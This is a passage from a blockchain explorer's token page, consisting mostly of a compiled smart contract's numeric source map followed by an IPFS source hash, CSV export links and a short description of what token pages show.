::i;:::-;;;;;;;;5604:2;-1:-1:-1;;;;;5589:26:0;5598:4;-1:-1:-1;;;;;5589:26:0;;5608:6;5589:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;5589:26:0;;;;;;;;-1:-1:-1;5633:4:0;4303:1342;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:719;1553:5;1606:3;1599:4;1591:6;1587:17;1583:27;1573:55;;1624:1;1621;1614:12;1573:55;1660:6;1647:20;1686:18;1723:2;1719;1716:10;1713:36;;;1729:18;;:::i;:::-;1804:2;1798:9;1772:2;1858:13;;-1:-1:-1;;1854:22:1;;;1878:2;1850:31;1846:40;1834:53;;;1902:18;;;1922:22;;;1899:46;1896:72;;;1948:18;;:::i;:::-;1988:10;1984:2;1977:22;2023:2;2015:6;2008:18;2069:3;2062:4;2057:2;2049:6;2045:15;2041:26;2038:35;2035:55;;;2086:1;2083;2076:12;2035:55;2150:2;2143:4;2135:6;2131:17;2124:4;2116:6;2112:17;2099:54;2197:1;2190:4;2185:2;2177:6;2173:15;2169:26;2162:37;2217:6;2208:15;;;;;;1510:719;;;;:::o;2234:543::-;2322:6;2330;2383:2;2371:9;2362:7;2358:23;2354:32;2351:52;;;2399:1;2396;2389:12;2351:52;2439:9;2426:23;2468:18;2509:2;2501:6;2498:14;2495:34;;;2525:1;2522;2515:12;2495:34;2548:50;2590:7;2581:6;2570:9;2566:22;2548:50;:::i;:::-;2538:60;;2651:2;2640:9;2636:18;2623:32;2607:48;;2680:2;2670:8;2667:16;2664:36;;;2696:1;2693;2686:12;2664:36;;2719:52;2763:7;2752:8;2741:9;2737:24;2719:52;:::i;:::-;2709:62;;;2234:543;;;;;:::o;2782:328::-;2859:6;2867;2875;2928:2;2916:9;2907:7;2903:23;2899:32;2896:52;;;2944:1;2941;2934:12;2896:52;2967:29;2986:9;2967:29;:::i;:::-;2957:39;;3015:38;3049:2;3038:9;3034:18;3015:38;:::i;:::-;3005:48;;3100:2;3089:9;3085:18;3072:32;3062:42;;2782:328;;;;;:::o;3304:186::-;3363:6;3416:2;3404:9;3395:7;3391:23;3387:32;3384:52;;;3432:1;3429;3422:12;3384:52;3455:29;3474:9;3455:29;:::i;3495:156::-;3561:20;;3621:4;3610:16;;3600:27;;3590:55;;3641:1;3638;3631:12;3656:252;3720:6;3728;3781:2;3769:9;3760:7;3756:23;3752:32;3749:52;;;3797:1;3794;3787:12;3749:52;3820:27;3837:9;3820:27;:::i;:::-;3810:37;;3866:36;3898:2;3887:9;3883:18;3866:36;:::i;:::-;3856:46;;3656:252;;;;;:::o;3913:260::-;3981:6;3989;4042:2;4030:9;4021:7;4017:23;4013:32;4010:52;;;4058:1;4055;4048:12;4010:52;4081:29;4100:9;4081:29;:::i;:::-;4071:39;;4129:38;4163:2;4152:9;4148:18;4129:38;:::i;4178:380::-;4257:1;4253:12;;;;4300;;;4321:61;;4375:4;4367:6;4363:17;4353:27;;4321:61;4428:2;4420:6;4417:14;4397:18;4394:38;4391:161;;4474:10;4469:3;4465:20;4462:1;4455:31;4509:4;4506:1;4499:15;4537:4;4534:1;4527:15;4391:161;;4178:380;;;:::o;4563:127::-;4624:10;4619:3;4615:20;4612:1;4605:31;4655:4;4652:1;4645:15;4679:4;4676:1;4669:15;4695:422;4784:1;4827:5;4784:1;4841:270;4862:7;4852:8;4849:21;4841:270;;;4921:4;4917:1;4913:6;4909:17;4903:4;4900:27;4897:53;;;4930:18;;:::i;:::-;4980:7;4970:8;4966:22;4963:55;;;5000:16;;;;4963:55;5079:22;;;;5039:15;;;;4841:270;;;4845:3;4695:422;;;;;:::o;5122:806::-;5171:5;5201:8;5191:80;;-1:-1:-1;5242:1:1;5256:5;;5191:80;5290:4;5280:76;;-1:-1:-1;5327:1:1;5341:5;;5280:76;5372:4;5390:1;5385:59;;;;5458:1;5453:130;;;;5365:218;;5385:59;5415:1;5406:10;;5429:5;;;5453:130;5490:3;5480:8;5477:17;5474:43;;;5497:18;;:::i;:::-;-1:-1:-1;;5553:1:1;5539:16;;5568:5;;5365:218;;5667:2;5657:8;5654:16;5648:3;5642:4;5639:13;5635:36;5629:2;5619:8;5616:16;5611:2;5605:4;5602:12;5598:35;5595:77;5592:159;;;-1:-1:-1;5704:19:1;;;5736:5;;5592:159;5783:34;5808:8;5802:4;5783:34;:::i;:::-;5853:6;5849:1;5845:6;5841:19;5832:7;5829:32;5826:58;;;5864:18;;:::i;:::-;5902:20;;5122:806;-1:-1:-1;;;5122:806:1:o;5933:140::-;5991:5;6020:47;6061:4;6051:8;6047:19;6041:4;6020:47;:::i;6078:168::-;6151:9;;;6182;;6199:15;;;6193:22;;6179:37;6169:71;;6220:18;;:::i;6377:545::-;6479:2;6474:3;6471:11;6468:448;;;6515:1;6540:5;6536:2;6529:17;6585:4;6581:2;6571:19;6655:2;6643:10;6639:19;6636:1;6632:27;6626:4;6622:38;6691:4;6679:10;6676:20;6673:47;;;-1:-1:-1;6714:4:1;6673:47;6769:2;6764:3;6760:12;6757:1;6753:20;6747:4;6743:31;6733:41;;6824:82;6842:2;6835:5;6832:13;6824:82;;;6887:17;;;6868:1;6857:13;6824:82;;;6828:3;;;6377:545;;;:::o;7098:1352::-;7224:3;7218:10;7251:18;7243:6;7240:30;7237:56;;;7273:18;;:::i;:::-;7302:97;7392:6;7352:38;7384:4;7378:11;7352:38;:::i;:::-;7346:4;7302:97;:::i;:::-;7454:4;;7518:2;7507:14;;7535:1;7530:663;;;;8237:1;8254:6;8251:89;;;-1:-1:-1;8306:19:1;;;8300:26;8251:89;-1:-1:-1;;7055:1:1;7051:11;;;7047:24;7043:29;7033:40;7079:1;7075:11;;;7030:57;8353:81;;7500:944;;7530:663;6324:1;6317:14;;;6361:4;6348:18;;-1:-1:-1;;7566:20:1;;;7684:236;7698:7;7695:1;7692:14;7684:236;;;7787:19;;;7781:26;7766:42;;7879:27;;;;7847:1;7835:14;;;;7714:19;;7684:236;;;7688:3;7948:6;7939:7;7936:19;7933:201;;;8009:19;;;8003:26;-1:-1:-1;;8092:1:1;8088:14;;;8104:3;8084:24;8080:37;8076:42;8061:58;8046:74;;7933:201;-1:-1:-1;;;;;8180:1:1;8164:14;;;8160:22;8147:36;;-1:-1:-1;7098:1352:1:o;8455:128::-;8522:9;;;8543:11;;;8540:37;;;8557:18;;:::i;8588:217::-;8628:1;8654;8644:132;;8698:10;8693:3;8689:20;8686:1;8679:31;8733:4;8730:1;8723:15;8761:4;8758:1;8751:15;8644:132;-1:-1:-1;8790:9:1;;8588:217::o;8810:127::-;8871:10;8866:3;8862:20;8859:1;8852:31;8902:4;8899:1;8892:15;8926:4;8923:1;8916:15;8942:980;9204:4;9252:3;9241:9;9237:19;9283:6;9272:9;9265:25;9309:2;9347:6;9342:2;9331:9;9327:18;9320:34;9390:3;9385:2;9374:9;9370:18;9363:31;9414:6;9449;9443:13;9480:6;9472;9465:22;9518:3;9507:9;9503:19;9496:26;;9557:2;9549:6;9545:15;9531:29;;9578:1;9588:195;9602:6;9599:1;9596:13;9588:195;;;9667:13;;-1:-1:-1;;;;;9663:39:1;9651:52;;9758:15;;;;9723:12;;;;9699:1;9617:9;9588:195;;;-1:-1:-1;;;;;;;9839:32:1;;;;9834:2;9819:18;;9812:60;-1:-1:-1;;;9903:3:1;9888:19;9881:35;9800:3;8942:980;-1:-1:-1;;;8942:980:1:o;9927:125::-;9992:9;;;10013:10;;;10010:36;;;10026:18;;:::i

Swarm Source

ipfs://6fb3b92175bad342a04411136ff78ae27ad8dd34e55d86256cd9fc4b1b1e7840
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.